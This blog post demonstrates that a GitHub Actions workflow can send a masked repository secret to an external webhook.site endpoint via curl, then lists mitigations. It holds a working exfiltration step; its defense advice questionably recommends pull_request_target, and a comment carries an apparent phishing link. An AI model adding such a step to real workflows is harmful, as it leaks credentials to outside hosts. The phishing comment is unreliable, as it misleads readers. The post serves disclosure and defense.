DEV Community

William Eduard M. Chua
William Eduard M. Chua

Posted on

Exposing GitHub Secrets in CI/CD Workflows

While writing GitHub Actions workflows, I wanted to test the boundaries around secret masking. GitHub masks secret values in build logs, but code running inside a workflow runner can still send those secrets across the network.

Here is a short proof of concept showing how a workflow can send a secret to an external HTTP endpoint.


How it works

Step 1: Define a target secret

Define a target secret

In the repository settings under Settings > Secrets and variables > Actions, I created a secret named FIND_ME containing a Base64 string.

FIND_ME = JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM=

Enter fullscreen mode Exit fullscreen mode

Step 2: Set up an endpoint

Set up an endpoint

On Webhook.site, I generated a unique URL to receive incoming HTTP POST requests.


Step 3: Write the workflow

Write the workflow

I added .github/workflows/extract_github_secrets.yaml triggered by workflow_dispatch. The job uses curl to POST the secret value in the request body:

name: Extract Github Secrets

on: workflow_dispatch

jobs:
  extract-github-secrets:
    runs-on: ubuntu-22.04
    steps:
      - name: "Send Data to webhook.test"
        run: |
          curl -X POST https://webhook.site/f2592054-ab00-4fe6-9901-3c781cea2974 \
            --data '{"message": "${{ secrets.FIND_ME }}"}'

Enter fullscreen mode Exit fullscreen mode

Step 4: Run and verify

Run and verify

I triggered the workflow manually from the Actions tab. The runner made the outbound request, and the plaintext secret value appeared in the Webhook.site logs:

{
  "message": "JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM="
}

Enter fullscreen mode Exit fullscreen mode

Defense strategies

Log masking prevents accidental printing to stdout, but it cannot stop a job from transmitting secrets over HTTP.

To reduce this risk:

  • Limit secret access on untrusted triggers like pull_request from forks. Use pull_request_target with explicit review checks instead.
  • Scope secrets to specific GitHub Environments with protection rules.
  • Restrict outbound egress traffic on self-hosted runners using firewall rules.
  • Restrict GITHUB_TOKEN permissions to minimum required scopes.

Top comments (1)

Collapse
 
suppdevbot profile image
DEV SUPPORTS •

You need to verify your account.

Enter fullscreen mode Exit fullscreen mode

tr.ee/dev-to